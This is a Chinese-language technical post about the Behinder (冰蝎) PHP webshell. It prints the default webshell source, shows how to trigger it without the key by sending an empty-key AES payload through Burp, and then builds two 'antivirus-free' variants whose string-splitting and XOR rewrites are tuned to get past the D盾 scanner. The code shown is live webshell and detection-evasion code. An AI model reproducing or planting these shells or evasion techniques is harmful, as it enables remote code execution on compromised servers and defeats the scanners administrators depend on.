冰蝎默认php木马:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
(1)无法密码访问冰蝎马复现:
参考https://www.t00ls.net/thread-56337-1-1.html
主要是:
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
在传输中当存pass参数时,则对生成随机数进行md5生成key并赋值给SESSION;当数据包不包含pass参数,则直接执行else下面语句,且当无法获取SESSION值,即_SESSION为空(不访问pass=1,则无_SESSION,后面对冰蝎抓包,该处会访问2次,应该是为了产生session),可直接进行ase128加密,而无需key值,即加密key为空,通用可解:
另,在else中通过explode()函数对传入值以|为分隔符,对数据进行打散为数组,故构造:|phpinfo();
$params=$arr[1];
则取值实际为phpifo();
通过
openssl_encrypt('|phpinfo();','AES128','');
对
|phpinfo();
进行AES128加密结果为:
4eNW1rQ1TnE2zNJbafdykw==
burp发包:
(2)若服务器未开启openssl组件:
在冰蝎代码中,将通过base64编码对传输数据进行处理(需要key,仅测试):
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
(
php中 字符串转16进制:
bin2hex() ;
16进制换字符串:
function hexToStr($hex) {
$str = "";
for ($i = 0;$i < strlen($hex) - 1;$i+= 2) $str.= chr(hexdec($hex[$i] . $hex[$i + 1]));
return $str;
}
按位运算:英文:bitwise operators
)
因为是异或,直接通过源代码中
$post="|phpinfo();";
$key="a1e314eec27951ca";
for($i=0;$i<strlen($mstring);$i++) {
$mstring[$i] = $mstring[$i]^$key[$i+1&15];
print $mstring[$i]."\r\n";
}
echo "post is :".$post;
生成结果:
post is :M[A]
对结果进行base64编码:
TRVbQV0LAwwaHgI=
(3)本地免杀:
D盾为例,先提示已知后门,二分法确认代码位置在
openssl_decrypt
再根据提示进行免杀:
针对php://input绕过,使用自定义函数
针对base64_decode绕过,使用字符串函数
针对eval绕过,使用异或,使D盾不认识eval或assert。
免杀马1:
<?php
@error_reporting(0);
session_start();
function encc(){
return base64_encode("php://input");
}
function denc($str){
return base64_decode($str);
}
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$f="file_g"."et_conte"."nts";
$fstr=denc(encc());
$post=$f("".$fstr."");
if(!extension_loaded('openssl'))
{
$t="base64_123"."decode";
$t=str_replace("123","",$t);
$post=denc($post."");
for($i=0;$i<strlen($post);$i++) {
$p=$post[$i];
$k=$key[$i+1&15];
$post[$i] = $p^$k;
}
}
else
{
$o="ope"."nssl_"."decrypt";
$post=$o($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
免杀马2:
<?php
@error_reporting(0);
session_start();
function encc(){
return base64_encode("php://input");
}
function denc($str){
return base64_decode($str);
}
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$res='';
$f="file_g"."et_conte"."nts";
$fstr=denc(encc());
$post=$f("".$fstr."");
if(!extension_loaded('openssl'))
{
$t="base64_123"."decode";
$t=str_replace("123","",$t);
$post=denc($post."");
for($i=0;$i<strlen($post);$i++) {
$res=substr_replace($res,$post[$i]^$key[$i+1&15],$i,0);
}
$post=$res;
}
else
{
$o="ope"."nssl_"."decrypt";
$post=$o($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
折腾半天终于OK;
问题记录
1、测试中发现D盾对存在带数组结构赋值异或时,会提示告警级别为2的”可疑文件”:
主要在于目标站未开启openssl情况下;通过对异或的两个值分别进行赋值处理,或者substr_replace()函数(https://www.w3school.com.cn/php/func_string_substr_replace.asp)处理后进行绕过:
原代码:
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
替换为:
A.
for($i=0;$i<strlen($post);$i++) {
$p=$post[$i];
$k=$key[$i+1&15];
$post[$i] = $p^$k;
}
或者
B.
for($i=0;$i<strlen($post);$i++) {
$res=substr_replace($res,$post[$i]^$key[$i+1&15],$i,0);
}
$post=$res;
2、看到ranchen的https://www.t00ls.net/viewthread.php?tid=57049,使用的也是D盾2.1.5.4测试版,但没有”可疑文件”的提示,不知什么原因;在后来测试中发现跟操作系统有关:
(注:bx1.php/bx2.php为2个修改后的文件;
ranchen_shell.php为ranchen大佬的文件;
test.php内容为<?php $a[] = $post[$i]^$key[$i+1&15];?>)
(1) 测试win10下:
(2)win7下:
(3)win2008R2
参考:
https://www.t00ls.net/viewthread.php?tid=57049
https://www.t00ls.net/viewthread.php?tid=55753: